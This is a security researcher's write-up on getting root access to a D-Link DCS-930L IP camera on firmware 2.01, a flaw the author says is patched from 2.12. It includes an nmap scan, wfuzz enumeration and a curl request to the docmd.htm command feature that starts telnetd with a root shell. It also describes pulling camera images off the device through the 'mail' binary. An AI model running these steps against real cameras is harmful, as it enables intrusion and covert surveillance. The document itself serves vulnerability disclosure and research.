DLink DCS 930L

Nicholas Starke | https://twitter.com/nstarke | https://github.com/nstarke

In late 2015, I decided to start researching IP Cameras. I decided to try out the cheapest models available on Amazon.com, both because I thought those models would be more “fruitful” and because I was trying to do this research on a budget. It turns out that the security on these lower model IP Cameras is really bad.

I looked at five different IP Cameras and was able to gain root access on four of them within a few hours of starting to poke at them. All of the cameras I looked at cost between $30-$70, and can be purchased directly from Amazon.com.

My goals in completing this research were two-fold:

1. Gain root access on the camera
2. Find a way to exfiltrate camera stills or video off the camera

On all four of the cameras I rooted, I was able to exfiltrate image data off of the device.

Today we’re going to look at one of the models I was able to gain root access on. I chose this model because a subsequent patch fixed the vulnerability that allowed me to gain root access.

I started by running nmap to check the available ports. Nothing too interesting there.

```
Nmap scan report for 192.168.1.13
Host is up (0.0026s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
8750/tcp open  unknown
```

This camera has pretty extensive web administration capabilities, including the ability to upload vendor supplied patches to update the device. However, the version we will be looking at today is the version that comes installed on the device when you open the box: version 2.01. The default credentials, which come printed in the documentation with the device, are `admin:admin`. The vulnerability I exploit below is patched in version 2.12 and above, which is available from the DLink website.

My first try involved checking the various HTML inputs. This turned up a couple of not very interesting cross site scripting vulnerabilities that would be hard to exploit in the wild.

Wfuzz

My second try began with running wfuzz with the `directory-list-2.3-medium.txt` word list that comes with every default Kali Linux installation. For those of you not familiar with wfuzz, it is a tool like dirbuster that facilitates directory enumeration on web servers that do not allow directory indexing. Running wfuzz turned up

a lot of html documents that I was already aware of, plus a few more that seemed useless - and then one that turned out to be the beginning of the jackpot: html.htm.

Html.htm

Load html.htm in a browser and the HTML document will contain a list of all the webpages available in the web root. It is more or less a directory index listing. I navigated through each one of the pages until I found the next stage of the jackpot: docmd.htm!

Docmd.htm and Telnet Injection

Docmd.htm contains a text box and a submit button. This form allows direct command execution on the device. So what's the next logical step?

```
telnetd -l/bin/sh
```

A curl command capable of accomplishing this would look like:

```
curl 'http://$CAMERA_IP/setSystemCommand' -H 'Authorization: Basic
$BASICAUTH_CREDS' -H 'Content-Type: application/x-www-form-urlencoded' --data
'ReplySuccessPage=docmd.htm&ReplyErrorPage=docmd.htm&SystemCommand=telnetd&Confi
gSystemCommand=Save'
```

Fire up telnet or netcat and connect to port 23 of the camera. Root shell accomplished!

Image Exfiltration

While the root shell was not too difficult to load up, it took significantly longer to figure out how to capture image data. I started by documenting all the binaries available in the PATH and elsewhere on the filesystem, and then working my way through each to see what they did:

```
 # ls /bin
 chmod          htmlunpack     sounddb        imagetp        ated
umount         ps             swing
 busybox        nvram_daemon   mknod          mail           kill
uvc_stream     rm             alphapd
 nvram_set      ash            openssl        ping           ralink_init
msmtp          i2c            gpio
 ls             pcmcmd         echo           notifystream   switch
mDNSResponder  lanconfig
 touch          sed            pppoecd        reg            audiopush
cp             mkdir
 upgradefw      mount          login          lld2d          iperf
mydlinkevent   ipush
 ntpclient      iwpriv         sleep          pwd            sh
nvram_get      cat
 grep           inadyn         date           schedule       mii_mgr
mtd_write      ov7740
 # ls /sbin
 automount_boot.sh    config-udhcpd.sh     udhcpc              reboot
udev                 config-igmpproxy.sh
```

```
 snort.sh             zcip                 cpubusy.sh           ucp
wlan.sh              pppoe.sh
 ddns.sh             udhcpc.sh            acodec               route
poweroff
 internet.sh         ntp.sh               vpn-passthru.sh      web.sh
snmp.sh
 video.sh            config-dns.sh        config-pppoe.sh      arp
dhcp.sh
 config-iTunes.sh    chpasswd.sh          halt                 ifconfig
automount.sh
 zcip.sh             init                 lan.sh               mdev
cameraname.sh
 # ls /usr/bin
 killall      free         expr         test         ftpd         arping
printf
 [            [[           uptime       ftpputimage  top          tr
 # ls /usr/sbin
 chpasswd  inetd     brctl     telnetd
```

I eventually came across the `mail` command, which allowed me to write a `mail` message to `/tmp/mail.txt`. Inside that file is the base64 encoded image data from the moment the “mail” command was run. Copy that data into a tmux buffer, write it to your local filesystem and base64 decode that raw data for an image file!

I also created a Metasploit module for this vulnerability.